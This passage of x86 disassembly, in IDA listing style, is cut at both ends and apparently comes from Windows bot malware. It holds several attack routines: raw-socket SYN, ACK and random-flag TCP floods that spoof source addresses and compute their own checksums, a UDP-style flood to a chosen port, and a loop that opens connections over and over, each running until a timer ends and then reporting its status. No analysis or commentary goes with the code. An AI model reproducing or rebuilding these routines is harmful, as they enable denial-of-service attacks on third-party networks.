[ebp+var_4] push ecx push 8004667Eh push eax call ds:dword_4F5514 ; ioctlsocket loc_413FDE: ; CODE XREF: sub_413F6A+62j inc esi cmp esi, edi jl short loc_413FB6 xor esi, esi loc_413FE5: ; CODE XREF: sub_413F6A+91j lea eax, [ebp+var_14] push 10h push eax push [ebp+esi*4+var_654] call ds:dword_4F5530 ; connect inc esi cmp esi, edi jl short loc_413FE5 push 64h call ds:dword_4F534C ; Sleep xor esi, esi loc_414007: ; CODE XREF: sub_413F6A+ADj push [ebp+esi*4+var_654] call ds:dword_4F5538 ; closesocket inc esi cmp esi, edi jl short loc_414007 dec [ebp+arg_4] jnz short loc_413FB4 pop edi pop esi loc_414020: ; CODE XREF: sub_413F6A+3Ej xor eax, eax leave retn sub_413F6A endp ; =============== S U B R O U T I N E ======================================= sub_414024 proc near ; CODE XREF: sub_413ECE+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40AD91 push [esp+10h+arg_4] mov edi, eax call sub_41E710 push [esp+14h+arg_8] mov ebx, eax call sub_41E710 mov esi, eax push esi push ebx push edi call sub_413F6A add esp, 18h test eax, eax jnz short loc_414058 inc eax loc_414058: ; CODE XREF: sub_414024+31j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn sub_414024 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414067 proc near ; DATA XREF: sub_401C87+64F5o var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_4143B4 push eax lea eax, [ebp+var_414] push offset unk_44CD54 push eax call sub_41EA60 xor esi, esi add esp, 18h cmp [ebp+var_8], esi jnz short loc_4140E4 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_409C75 add esp, 14h loc_4140E4: ; CODE XREF: sub_414067+5Bj lea eax, [ebp+var_414] push eax call sub_415A3C push [ebp+var_10] call sub_40B9A7 pop ecx pop ecx push esi call ds:dword_4F53A0 ; ExitThread pop edi pop esi sub_414067 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414103 proc near ; CODE XREF: sub_4143B4+3Cp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call ds:dword_4E2F38 ; WSAStartup test eax, eax jz short loc_414143 xor eax, eax jmp loc_414387 ; --------------------------------------------------------------------------- loc_414143: ; CODE XREF: sub_414103+37j xor edi, edi inc edi push edi push ebx push ebx push 0FFh push 3 push 2 call ds:dword_4E306C ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_41437F push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call ds:dword_4E2FA8 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_414375 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41E4B0 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call ds:dword_4E2FC8 ; htons mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call ds:dword_4E2FC8 ; htons push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call ds:dword_4E2FC8 ; htons push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call ds:dword_4E2FC8 ; htons mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx call ds:dword_4F540C ; QueryPerformanceFrequency lea eax, [ebp+var_8] push eax call ds:dword_4F5408 ; QueryPerformanceCounter push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_421180 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_41422E: ; CODE XREF: sub_414103+25Dj ; sub_414103+269j mov [ebp+var_24], bx call sub_41EB70 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call ds:dword_4E2FC8 ; htons mov [ebp+var_34], ax call sub_41EB70 mov edi, eax shl edi, 10h call sub_41EB70 or edi, eax push edi call ds:dword_4E2FC8 ; htons movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call ds:dword_4E2FC4 ; htonl push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call ds:dword_4E2FC8 ; htons mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41FBF0 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_41FBF0 lea eax, [ebp+var_B4] push 34h push eax call sub_40AF06 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41FBF0 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_41FBF0 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41E4B0 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AF06 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41FBF0 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call ds:dword_4E302C ; sendto cmp eax, 0FFFFFFFFh jz short loc_41438B add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax call ds:dword_4F5408 ; QueryPerformanceCounter mov eax, [ebp+var_4] cmp eax, esi jg short loc_414372 jl loc_41422E mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jb loc_41422E loc_414372: ; CODE XREF: sub_414103+25Bj mov ebx, [ebp+arg_8] loc_414375: ; CODE XREF: sub_414103+78j ; sub_414103+2AFj push [ebp+var_C] call ds:dword_4E3060 ; closesocket pop esi loc_41437F: ; CODE XREF: sub_414103+5Bj call ds:dword_4E2F20 ; WSACleanup mov eax, ebx loc_414387: ; CODE XREF: sub_414103+3Bj pop edi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41438B: ; CODE XREF: sub_414103+247j call ds:dword_4E2F5C ; WSAGetLastError push eax lea eax, [ebp+var_F4] push offset unk_44CD7C push eax call sub_41EA60 lea eax, [ebp+var_F4] push eax call sub_415A3C add esp, 10h jmp short loc_414375 sub_414103 endp ; =============== S U B R O U T I N E ======================================= sub_4143B4 proc near ; CODE XREF: sub_414067+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40AD91 push [esp+10h+arg_4] mov esi, eax call sub_41E710 push [esp+14h+arg_8] mov ebx, eax call sub_41E710 mov edi, eax call sub_41EB70 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_414103 add esp, 1Ch test eax, eax jnz short loc_4143FD inc eax loc_4143FD: ; CODE XREF: sub_4143B4+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_4143B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41440C proc near ; DATA XREF: sub_401C87+6E5Do var_394 = byte ptr -394h var_194 = dword ptr -194h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 394h mov eax, [ebp+arg_0] push esi push edi push 65h pop ecx mov esi, eax lea edi, [ebp+var_194] rep movsd mov dword ptr [eax+190h], 1 lea eax, [ebp+var_110] push eax call sub_41E710 pop ecx push eax lea eax, [ebp+var_190] push eax call ds:dword_4E3008 ; inet_addr push eax call sub_4144AD push eax lea eax, [ebp+var_394] push offset dword_44CD9C push eax call sub_41EA60 xor esi, esi add esp, 14h cmp [ebp+var_8], esi jnz short loc_41448E push esi lea eax, [ebp+var_394] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_194] call sub_409C75 add esp, 14h loc_41448E: ; CODE XREF: sub_41440C+60j lea eax, [ebp+var_394] push eax call sub_415A3C push [ebp+var_10] call sub_40B9A7 pop ecx pop ecx push esi call ds:dword_4F53A0 ; ExitThread pop edi pop esi sub_41440C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4144AD proc near ; CODE XREF: sub_41440C+41p var_98 = word ptr -98h var_96 = word ptr -96h var_94 = dword ptr -94h var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = word ptr -1Ah var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 98h push ebx push esi push edi and [ebp+var_88], 0 push 4 and [ebp+var_58], 0 pop esi xor ecx, ecx push 6 inc ecx pop edx mov ebx, 0FFh xor eax, eax lea edi, [ebp+var_54] mov [ebp+var_84], ecx mov [ebp+var_80], 2 mov [ebp+var_7C], esi mov [ebp+var_78], edx mov [ebp+var_74], 8 mov [ebp+var_70], 0Ch mov [ebp+var_6C], 11h mov [ebp+var_68], 16h mov [ebp+var_64], 29h mov [ebp+var_60], 3Ah mov [ebp+var_5C], ebx mov [ebp+var_50], eax stosd lea edi, [ebp+var_2C] mov [ebp+var_4C], eax mov [ebp+var_48], eax mov [ebp+var_44], 2000h mov [ebp+var_40], esi mov [ebp+var_3C], edx mov [ebp+var_38], 3FFFh mov [ebp+var_34], ecx mov [ebp+var_30], eax mov [ebp+var_28], ecx stosd loc_414542: ; DATA XREF: _2:00454720o mov edi, 100h push edi call sub_420C30 pop ecx mov [ebp+var_4], eax push edi push eax call ds:dword_4E2FDC ; gethostname push [ebp+var_4] call ds:dword_4E304C ; gethostbyname mov eax, [eax+0Ch] push ebx push 3 push 2 mov eax, [eax] mov eax, [eax] mov [ebp+var_C], eax call ds:dword_4E3048 ; socket lea ecx, [ebp+var_28] push esi push ecx push 2 push 0 push eax mov [ebp+var_4], eax call ds:dword_4E2FA8 ; setsockopt mov esi, 200h push esi call sub_41BE40 mov edi, ds:dword_4F537C pop ecx mov [ebp+var_8], eax call edi ; GetTickCount mov [ebp+var_10], eax mov eax, [ebp+arg_0] push 29Ah mov [ebp+var_94], eax mov [ebp+var_98], 2 call ds:dword_4E2FC8 ; htons mov [ebp+var_96], ax jmp loc_414697 ; --------------------------------------------------------------------------- loc_4145CD: ; CODE XREF: sub_4144AD+1FBj call sub_41EB70 cdq mov ecx, ebx idiv ecx mov eax, [ebp+var_C] and eax, 0FFFFFFh shl edx, 18h or edx, eax mov [ebp+var_C], edx call sub_41EB70 cdq mov ecx, ebx idiv ecx mov [ebp+var_54], edx call sub_41EB70 cdq mov ecx, 1FA4h mov [ebp+var_24], 45h idiv ecx mov [ebp+var_23], 4 mov [ebp+var_2C], edx call sub_41EB70 mov [ebp+var_20], ax call sub_41EB70 push 0Ah cdq pop ecx idiv ecx mov ax, word ptr [ebp+edx*4+var_50] push eax call ds:dword_4E2FC8 ; htons push esi mov [ebp+var_1E], ax call ds:dword_4E2FC8 ; htons mov [ebp+var_22], ax mov [ebp+var_1C], bl call sub_41EB70 push 0Eh cdq pop ecx idiv ecx push 14h mov al, byte ptr [ebp+edx*4+var_88] mov [ebp+var_1B], al mov eax, [ebp+var_C] mov [ebp+var_18], eax mov eax, [ebp+arg_0] mov [ebp+var_14], eax lea eax, [ebp+var_24] push eax call sub_40AF06 mov [ebp+var_1A], ax lea eax, [ebp+var_24] push 14h push eax push [ebp+var_8] call sub_41FBF0 add esp, 14h lea eax, [ebp+var_98] push 10h push eax push 0 push esi push [ebp+var_8] push [ebp+var_4] call ds:dword_4E302C ; sendto loc_414697: ; CODE XREF: sub_4144AD+11Bj call edi ; GetTickCount sub eax, [ebp+var_10] mov ecx, 3E8h xor edx, edx div ecx cmp eax, [ebp+arg_4] jbe loc_4145CD push [ebp+var_8] call sub_41C9D0 pop ecx push [ebp+var_4] call ds:dword_4E3060 ; closesocket xor eax, eax pop edi pop esi inc eax pop ebx leave retn sub_4144AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4146C8 proc near ; DATA XREF: sub_401C87+5468o var_440 = byte ptr -440h var_240 = dword ptr -240h var_23C = byte ptr -23Ch var_1BC = byte ptr -1BCh var_13C = byte ptr -13Ch var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_8C = byte ptr -8Ch var_80 = byte ptr -80h var_78 = byte ptr -78h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = word ptr -5Ah var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 440h mov eax, [ebp+arg_0] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_240] rep movsd xor esi, esi push 0Eh inc esi xor ebx, ebx mov [eax+19Ch], esi pop ecx xor eax, eax lea edi, [ebp+var_9F] mov [ebp+var_A0], bl rep stosd stosw stosb mov edi, ds:dword_4F537C call edi ; GetTickCount push eax call sub_41EB60 pop ecx push 0FFh push 3 push 2 call ds:dword_4E3048 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_414791 call ds:dword_4E2F5C ; WSAGetLastError push eax lea eax, [ebp+var_440] push offset unk_44CDC0 push eax call sub_41EA60 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_414771 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_409C75 add esp, 14h loc_414771: ; CODE XREF: sub_4146C8+84j lea eax, [ebp+var_440] push eax call sub_415A3C push [ebp+var_BC] call sub_40B9A7 pop ecx pop ecx push ebx call ds:dword_4F53A0 ; ExitThread loc_414791: ; CODE XREF: sub_4146C8+61j lea ecx, [ebp+var_34] push 4 push ecx push 2 push ebx push eax mov [ebp+var_34], esi call ds:dword_4E2FA8 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_41480F call ds:dword_4E2F5C ; WSAGetLastError push eax lea eax, [ebp+var_440] push offset unk_44CDF4 push eax call sub_41EA60 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_4147EF push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_409C75 add esp, 14h loc_4147EF: ; CODE XREF: sub_4146C8+102j lea eax, [ebp+var_440] push eax call sub_415A3C push [ebp+var_BC] call sub_40B9A7 pop ecx pop ecx push ebx call ds:dword_4F53A0 ; ExitThread loc_41480F: ; CODE XREF: sub_4146C8+DFj lea eax, [ebp+var_23C] push eax call ds:dword_4E3008 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_41487F lea eax, [ebp+var_440] push offset unk_44CE2C push eax call sub_41EA60 cmp [ebp+var_A8], ebx pop ecx pop ecx jnz short loc_41485F push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_409C75 add esp, 14h loc_41485F: ; CODE XREF: sub_4146C8+172j lea eax, [ebp+var_440] push eax call sub_415A3C push [ebp+var_BC] call sub_40B9A7 pop ecx pop ecx push ebx call ds:dword_4F53A0 ; ExitThread loc_41487F: ; CODE XREF: sub_4146C8+157j push 10h lea eax, [ebp+var_44] push ebx push eax call sub_41E4B0 add esp, 0Ch mov [ebp+var_44], 2 push ebx call ds:dword_4E2FC8 ; htons mov [ebp+var_42], ax lea eax, [ebp+var_23C] push eax call ds:dword_4E3008 ; inet_addr mov [ebp+var_40], eax mov [ebp+arg_0], ebx call edi ; GetTickCount mov [ebp+var_30], eax jmp loc_414AE7 ; --------------------------------------------------------------------------- loc_4148BC: ; CODE XREF: sub_4146C8+433j push 28h mov [ebp+var_2C], 45h call ds:dword_4E2FC8 ; htons cmp [ebp+var_B0], ebx mov [ebp+var_2A], ax mov [ebp+var_28], si mov [ebp+var_26], bx mov [ebp+var_24], 80h mov [ebp+var_23], 6 mov [ebp+var_22], bx jz short loc_414915 call sub_41EB70 mov esi, eax shl esi, 8 call sub_41EB70 add esi, eax shl esi, 8 call sub_41EB70 add esi, eax shl esi, 8 call sub_41EB70 add esi, eax mov [ebp+var_20], esi xor esi, esi inc esi jmp short loc_41492B ; --------------------------------------------------------------------------- loc_414915: ; CODE XREF: sub_4146C8+21Ej push [ebp+var_240] call sub_40AEAD pop ecx push eax call ds:dword_4E3008 ; inet_addr mov [ebp+var_20], eax loc_41492B: ; CODE XREF: sub_4146C8+24Bj mov eax, [ebp+var_40] cmp [ebp+var_B8], ebx mov [ebp+var_1C], eax jnz short loc_414949 call sub_41EB70 cdq mov ecx, 401h idiv ecx push edx jmp short loc_41494F ; --------------------------------------------------------------------------- loc_414949: ; CODE XREF: sub_4146C8+26Fj push [ebp+var_B8] loc_41494F: ; CODE XREF: sub_4146C8+27Fj call ds:dword_4E2FC8 ; htons mov [ebp+var_16], ax call sub_41EB70 cdq mov ecx, 401h idiv ecx push edx call ds:dword_4E2FC8 ; htons push 12345678h mov [ebp+var_18], ax call ds:dword_4E2FC4 ; htonl mov [ebp+var_14], eax lea eax, [ebp+var_1BC] push offset aSyn_1 ; "syn" push eax call sub_41EBB0 pop ecx test eax, eax pop ecx jz short loc_41499F mov [ebp+var_10], ebx mov [ebp+var_B], 2 jmp short loc_4149FB ; --------------------------------------------------------------------------- loc_41499F: ; CODE XREF: sub_4146C8+2CCj lea eax, [ebp+var_1BC] push offset aAck_0 ; "ack" push eax call sub_41EBB0 pop ecx test eax, eax pop ecx jz short loc_4149BF mov [ebp+var_10], ebx mov [ebp+var_B], 10h jmp short loc_4149FB ; --------------------------------------------------------------------------- loc_4149BF: ; CODE XREF: sub_4146C8+2ECj lea eax, [ebp+var_1BC] push offset aRandom_2 ; "random" push eax call sub_41EBB0 pop ecx test eax, eax pop ecx jz short loc_4149FB call sub_41EB70 push 3 cdq pop ecx idiv ecx mov [ebp+var_10], edx call sub_41EB70 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_B], dl loc_4149FB: ; CODE XREF: sub_4146C8+2D5j ; sub_4146C8+2F5j ... push 200h mov [ebp+var_C], 50h call ds:dword_4E2FC8 ; htons mov [ebp+var_A], ax mov eax, [ebp+var_20] mov [ebp+var_64], eax mov eax, [ebp+var_1C] push 14h mov [ebp+var_6], bx mov [ebp+var_8], bx mov [ebp+var_60], eax mov [ebp+var_5C], bl mov [ebp+var_5B], 6 call ds:dword_4E2FC8 ; htons mov [ebp+var_5A], ax lea eax, [ebp+var_64] push 20h push eax lea eax, [ebp+var_A0] push eax call sub_41FBF0 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_80] push eax call sub_41FBF0 lea eax, [ebp+var_A0] push 34h push eax call sub_40AF06 mov [ebp+var_8], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_41FBF0 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_8C] push eax call sub_41FBF0 push 4 lea eax, [ebp+var_78] push ebx push eax call sub_41E4B0 add esp, 44h lea eax, [ebp+var_A0] push 28h push eax call sub_40AF06 mov [ebp+var_22], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_41FBF0 add esp, 14h lea eax, [ebp+var_44] push 10h push eax push ebx lea eax, [ebp+var_A0] push 3Ch push eax push [ebp+var_4] call ds:dword_4E302C ; sendto cmp eax, 0FFFFFFFFh jz loc_414B92 inc [ebp+arg_0] loc_414AE7: ; CODE XREF: sub_4146C8+1EFj call edi ; GetTickCount sub eax, [ebp+var_30] mov ecx, 3E8h xor edx, edx div ecx cmp eax, [ebp+var_B4] jbe loc_4148BC push [ebp+var_4] call ds:dword_4E3060 ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_B4] shr ecx, 14h push ecx push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax lea eax, [ebp+var_1BC] push eax lea eax, [ebp+var_440] push offset unk_44CE60 push eax call sub_41EA60 add esp, 1Ch cmp [ebp+var_A8], ebx jnz short loc_414B72 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_409C75 add esp, 14h loc_414B72: ; CODE XREF: sub_4146C8+485j lea eax, [ebp+var_440] push eax call sub_415A3C push [ebp+var_BC] call sub_40B9A7 pop ecx pop ecx push ebx call ds:dword_4F53A0 ; ExitThread loc_414B92: ; CODE XREF: sub_4146C8+416j push [ebp+var_4] call ds:dword_4E3060 ; closesocket call ds:dword_4E2F5C ; WSAGetLastError push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax push offset unk_44CEB0 lea eax, [ebp+var_440] push 200h push eax call sub_41EC30 add esp, 18h cmp [ebp+var_A8], ebx jnz short loc_414BF0 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_409C75 add esp, 14h loc_414BF0: ; CODE XREF: sub_4146C8+503j lea eax, [ebp+var_440] push eax call sub_415A3C push [ebp+var_BC] call sub_40B9A7 pop ecx pop ecx push ebx call ds:dword_4F53A0 ; ExitThread sub_4146C8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414C10 proc near ; CODE XREF: sub_414D19+196p ; sub_414D19+1FFp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_4] mov edx, [ebp+arg_0] push esi xor esi, esi cmp ecx, 1 mov [ebp+arg_4], esi jle short loc_414C3E lea eax, [ecx-2] push edi shr eax, 1 inc eax lea edi, [eax+eax] sub ecx, edi loc_414C30: ; CODE XREF: sub_414C10+28j movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec eax jnz short loc_414C30 pop edi cmp ecx, 1 loc_414C3E: ; CODE XREF: sub_414C10+12j jnz short loc_414C4B mov al, [edx] mov byte ptr [ebp+arg_4], al movzx eax, word ptr [ebp+arg_4] add esi, eax loc_414C4B: ; CODE XREF: sub_414C10:loc_414C3Ej mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn sub_414C10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414C64 proc near ; DATA XREF: sub_401C87+6D8Co var_394 = byte ptr -394h var_194 = dword ptr -194h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 394h mov eax, [ebp+arg_0] push esi push edi push 65h pop ecx mov esi, eax lea edi, [ebp+var_194] rep movsd mov dword ptr [eax+190h], 1 lea eax, [ebp+var_110] push eax call sub_41E710 pop ecx push eax lea eax, [ebp+var_190] push eax call ds:dword_4E3008 ; inet_addr push eax lea esi, [ebp+var_194] sub esp, 194h push 65h pop ecx mov edi, esp rep movsd call sub_414D19 push eax lea eax, [ebp+var_394] push offset unk_44CF00 push eax call sub_41EA60 xor esi, esi add esp, 1A8h cmp [ebp+var_8], esi jnz short loc_414CFC push esi lea eax, [ebp+var_394] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_194] call sub_409C75 add esp, 14h loc_414CFC: ; CODE XREF: sub_414C64+76j lea eax, [ebp+var_394] push eax call sub_415A3C push [ebp+var_10] call sub_40B9A7 pop ecx pop ecx push esi call ds:dword_4F53A0 ; ExitThread sub_414C64 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414D19 proc near ; CODE XREF: sub_414C64+54p var_C8 = byte ptr -0C8h var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_9E = word ptr -9Eh var_9C = byte ptr -9Ch var_88 = byte ptr -88h var_74 = word ptr -74h var_72 = word ptr -72h var_70 = dword ptr -70h var_64 = byte ptr -64h var_60 = byte ptr -60h var_5F = byte ptr -5Fh var_5E = byte ptr -5Eh var_54 = dword ptr -54h var_50 = byte ptr -50h var_4E = word ptr -4Eh var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = byte ptr -48h var_47 = byte ptr -47h var_46 = word ptr -46h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = word ptr -3Ch var_3A = word ptr -3Ah var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = word ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_24 = byte ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_194 = dword ptr 19Ch arg_198 = dword ptr 1A0h push ebp mov ebp, esp sub esp, 0C8h and [ebp+var_4], 0 push ebx push esi mov esi, ds:dword_4F537C push edi call esi ; GetTickCount push 0FFh push 3 push 2 mov [ebp+var_C], eax call ds:dword_4E3048 ; socket mov [ebp+var_8], eax call esi ; GetTickCount push eax call sub_41EB60 pop ecx mov ebx, 578h push ebx push 9 push 1 call sub_419313 pop ecx pop ecx push eax lea eax, [ebp+var_24] push eax call sub_41E4B0 add esp, 0Ch mov esi, 5A0h loc_414D72: ; CODE XREF: sub_414D19+224j call ds:dword_4F537C ; GetTickCount sub eax, [ebp+var_C] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_198] ja loc_414F42 cmp ds:dword_4E676C, 0 jnz short loc_414DF1 push 10h pop eax mov 